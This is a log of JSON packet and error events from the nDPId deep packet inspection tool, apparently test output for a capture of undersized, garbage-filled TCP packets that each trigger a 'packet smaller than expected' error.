-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778971} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778980} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778990} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778999} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779009} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779019} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779031} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779041} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779050} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779060} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779069} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779079} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779088} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779098} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779110} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779120} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779130} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779140} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779149} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779160} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779173} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779214} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779224} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779233} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779244} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779255} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779265} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779274} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779283} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779293} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779303} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779314} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779325} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779337} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779347} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779357} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779366} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779371} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779376} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779381} -00363{"packet_event_id":1,"packet_event_name":"packet","packet_id":6516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779386} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779391} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779418} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779428} 